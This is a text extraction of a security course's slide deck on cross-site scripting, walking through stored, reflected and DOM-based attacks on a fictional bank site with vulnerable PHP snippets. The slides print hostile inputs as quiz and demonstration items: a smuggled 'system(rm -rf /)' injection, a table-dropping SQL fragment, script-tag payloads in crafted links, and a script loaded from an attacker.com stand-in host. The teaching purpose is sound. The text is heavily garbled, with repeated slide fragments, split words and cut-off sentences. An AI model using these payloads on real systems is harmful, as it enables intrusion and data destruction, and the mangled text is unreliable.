Dawn Song
Web Security: Vulnerabilities & Attacks
Computer Security Course. Dawn Song Computer Security Course. Dawn Song
Web Security: Vulnerabilities & Attacks Dawn Song Cross-site - - PowerPoint PPT Presentation
Computer Security Course. Dawn Computer Security Course. Dawn Song Song Web Security: Vulnerabilities & Attacks Dawn Song Cross-site Scripting Dawn Song What is Cross-site Scripting (XSS)? Vulnerability in web application that
Dawn Song
Computer Security Course. Dawn Song Computer Security Course. Dawn Song
Dawn Song
Dawn Song
Dawn Song
T ype 2 T ype 1 T ype 0
Dawn Song
Server
question via HTTP POST
(message: “How do I get a loan?”)
T ype 2 T ype 1 T ype 0
Consider a form on safebank.com that allows a user to chat with a customer service associate.
User
login passwor dSAFEBANK banking content
A c counts Bill P ay Mail T ransfersDawn Song
Server
question in database. T ype 2 T ype 1 T ype 0
login passwor dSAFEBANK banking content
A c counts Bill P ay Mail T ransfersConsider a form on safebank.com that allows a user to chat with a customer service associate.
question via HTTP POST
(message: “How do I get a loan?”)
User
Dawn Song
Server 3. Associate requests the questions page T ype 2 T ype 1 T ype 0
login passwor dSAFEBANK banking content
A c counts Bill P ay Mail T ransfers login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersConsider a form on safebank.com that allows a user to chat with a customer service associate.
question via HTTP POST
(message: “How do I get a loan?”)
question in database.
User Associ ate
Dawn Song
Server
retrieves all questions from the DB T ype 2 T ype 1 T ype 0
login passwor dSAFEBANK banking content
A c counts Bill P ay Mail T ransfers login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersConsider a form on safebank.com that allows a user to chat with a customer service associate.
question via HTTP POST
(message: “How do I get a loan?”)
question in database.
User Associ ate
3. Associate requests the questions page
Dawn Song
Server
returns HTML embedded with the question T ype 2 T ype 1 T ype 0
login passwor dSAFEBANK banking content
A c counts Bill P ay Mail T ransfers login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersquestion via HTTP POST
(message: “How do I get a loan?”)
question in database.
User Associ ate
3. Associate requests the questions page
retrieves all questions from the DB
PHP CODE: <? echo "<div class=’question'>$question</div>";?> HTML Code: <div class=’question'>”How do I get a loan?”</div>
Dawn Song
Server
PHP CODE: <? echo "<div class=’question'>$question</div>";?> HTML Code: <div class=’question'>”How do I get a loan?”</div>
T ype 2 T ype 1 T ype 0
login passwor dSAFEBANK banking content
A c counts Bill P ay Mail T ransfers login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersquestion via HTTP POST
(message: “How do I get a loan?”)
question in database.
User Associ ate
3. Associate requests the questions page
retrieves all questions from the DB
returns HTML embedded with the question “How do I get a loan?” Customer 5: SAFEBA NK
Dawn Song
a. '; system('rm –rf /'); b. rm –rf / c. DROP TABLE QUESTIONS; d. <script>doEvil()</script>
T ype 2 T ype 1 T ype 0
Dawn Song
a. '; system('rm –rf /'); b. rm –rf / c. DROP TABLE QUESTIONS; d. <script>doEvil()</script>
<html><body> ... <div class=‘question’> <script>doEvil()</script> </div> ... </body></html>
T ype 2 T ype 1 T ype 0
Dawn Song
Server
T ype 2 T ype 1 T ype 0
malicious question via HTTP POST
( message: “<script>doEvil()</script>” )
Dawn Song
Server
stores question in T ype 2 T ype 1 T ype 0
malicious question via HTTP POST
( message: “<script>doEvil()</script>” )
Dawn Song
Server
requests the questions page T ype 2 T ype 1 T ype 0
malicious question via HTTP POST
( message: “<script>doEvil()</script>” )
stores question in
login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersAssoci ate
Dawn Song
Server
retrieves malicious question from the DB T ype 2 T ype 1 T ype 0
malicious question via HTTP POST
( message: “<script>doEvil()</script>” )
stores question in
requests the questions page
login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersAssoci ate
Dawn Song
Server
HTML embedded with malicious question T ype 2 T ype 1 T ype 0
malicious question via HTTP POST
( message: “<script>doEvil()</script>” )
stores question in
requests the questions page
retrieves malicious question from the DB
login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersAssoci ate
PHP CODE: <? echo "<div class=’question'>$question</div>";?> HTML Code: <div class=’question'><script>doEvil()</script></div>
Dawn Song
Server T ype 2 T ype 1 T ype 0
malicious question via HTTP POST
( message: “<script>doEvil()</script>” )
stores question in
requests the questions page
retrieves malicious question from the DB
login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersAssoci ate
HTML embedded with malicious question
PHP CODE: <? echo "<div class=’question'>$question</div>";?> HTML Code: <div class=’question'><script>doEvil()</script></div>
Customer 5: SAFEBA NK
Dawn Song
T ype 2 T ype 1 T ype 0
Dawn Song
interface at search.php
results, with a helpful message at the top.
could use to exploit this?
<? echo “Your query $_GET['query'] returned $num results.";?> Example: Your query chocolate returned 81 results. T ype 2 T ype 1 T ype 0
Your query chocolate returned 81 results.
SAFEBA NK (results)
safebank.com/search.php?query=chocolate
Dawn Song
PHP Code: <? echo “Your query $_GET['query'] returned $num results.";?>
HTML Code: Your query <script>doEvil()</script> returned 0 results
T ype 2 T ype 1 T ype 0
Dawn Song
Vulnerable Server T ype 2 T ype 1 T ype 0
with malicious link
safebank.com/search.php?query=<script>doEvil()</script>
User
(email client)
Dawn Song
Vulnerable Server
params T ype 2 T ype 1 T ype 0
with malicious link
User
(email client)
safebank.com/search.php?query=<script>doEvil()</script>
Dawn Song
Vulnerable Server
malicious params into HTML T ype 2 T ype 1 T ype 0
with malicious link
safebank.com/search.php?query=<script>doEvil()</script>
params
User
(email client)
Your query <script>doEvil()</script> returned 0 results
Dawn Song
Vulnerable Server
malicious params into HTML
code T ype 2 T ype 1 T ype 0
with malicious link
User
login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransferssafebank.com/search.php?query=<script>doEvil()</script>
params
Your query <script>doEvil()</script> returned 0 results
Dawn Song
Vulnerable Server
malicious params into HTML
malicious script.
T ype 2 T ype 1 T ype 0
with malicious link
User
login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransferssafebank.com/search.php?query=<script>doEvil()</script>
params
Your query <script>doEvil()</script> returned 0 results
code
Dawn Song
T ype 2 T ype 1 T ype 0
Dawn Song
T ype 2 T ype 1 T ype 0
Dawn Song
http://safebank.com/welcome.php?name=Joe
Hello <script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.U RL.length)); </script> T ype 2 T ype 1 T ype 0
Dawn Song
Hello <script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.U RL.length)); </script>
T ype 2 T ype 1 T ype 0
Dawn Song
T ype 2 T ype 1 T ype 0
Hello <script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.U RL.length)); </script>
Dawn Song
T ype 2 T ype 1 T ype 0
Vulnerable Server
with malicious link
safebank.com/welcome.php?query=<script>doEvil()</script>
User
(email client)
Dawn Song
T ype 2 T ype 1 T ype 0 Vulnerable Server
params
with malicious link
safebank.com/welcome.php?query=<script>doEvil()</script>
User
(email client)
Dawn Song
T ype 2 T ype 1 T ype 0 Vulnerable Server
params in a safe fashion, or ignores the malicious param
with malicious link
safebank.com/welcome.php?query=<script>doEvil()</script>
User
(email client)
params
Dawn Song
T ype 2 T ype 1 T ype 0 Vulnerable Server
params in a safe fashion, or ignores the malicious param
with malicious link
safebank.com/welcome.php?query=<script>doEvil()</script>
User
params
login passwor dSAFEBANK banking content
A ccounts Bill Pay Mail T ransfersDawn Song
T ype 2 T ype 1 T ype 0 Vulnerable Server
params in a safe fashion, or ignores the malicious param
with malicious link
safebank.com/welcome.php?query=<script>doEvil()</script>
User
params
malicious params in an unsafe manner, causing code execution
SAFEBANK banking content
A ccounts Bill Pay Mail T ransfersDawn Song
where it might be logged.
arguments
– E.g., Gmail, T witter, Facebook,
http://example.net/welcome.php#name=Joe
– The browser doesn’t send the fragment “#name=Joe” to the server as part of the HTTP Request – The same attack still exists T ype 2 T ype 1 T ype 0
Dawn Song
T ype 2 T ype 1 T ype 0
Dawn Song
<a href="http://evil.com" onclick="functionCall()"> Possibly <b>HTML</b> Text </a>
Dawn Song
<a href="http://evil.com" onclick="functionCall()"> Possibly <b>HTML</b> Text </a> URI Context URI Context Event Handler Context Event Handler Context HTML Context HTML Context HTML Attribute Context HTML Attribute Context
Dawn Song
The blogging application also accepts a ‘homepage’ from the anonymous
<? echo "<a href='".$homepage."'>Home</a>"; ?>
Which of the following values for $homepage cause untrusted code execution?
Dawn Song
The blogging application also accepts a ‘homepage’ from the anonymous
<? echo "<a href='".$homepage."'>Home</a>"; ?>
Which of the following values for $homepage cause untrusted code execution?
Dawn Song
The blogging application also accepts a ‘homepage’ from the anonymous
<? echo "<a href='".$homepage."'>Home</a>"; ?>
Which of the following values for $homepage cause untrusted code execution?
Dawn Song
The blogging application also accepts a ‘homepage’ from the anonymous
<? echo "<a href='".$homepage."'>Home</a>"; ?>
Which of the following values for $homepage cause untrusted code execution?
Dawn Song
command.
Dawn Song
function validatePhoneNumber(p){ var phoneNumberPattern = /^\(?(\d{3})\)?[- ]?(\d{3})[- ]?(\d{4})$/; return phoneNumberPattern.test(p); }
Dawn Song
Dawn Song
Dawn Song
<script src="http://attacker.com/evil.js"></script> becomes <script src="http://attacker.com/evil.js"></script>
Dawn Song
javascript:evilfunction();? Is it suffjcient to prevent cross
http://www.functions-online.com/htmlentities.html
Dawn Song
javascript:evilfunction();? Is it suffjcient to prevent cross
http://www.functions-online.com/htmlentities.html
Dawn Song
Dawn Song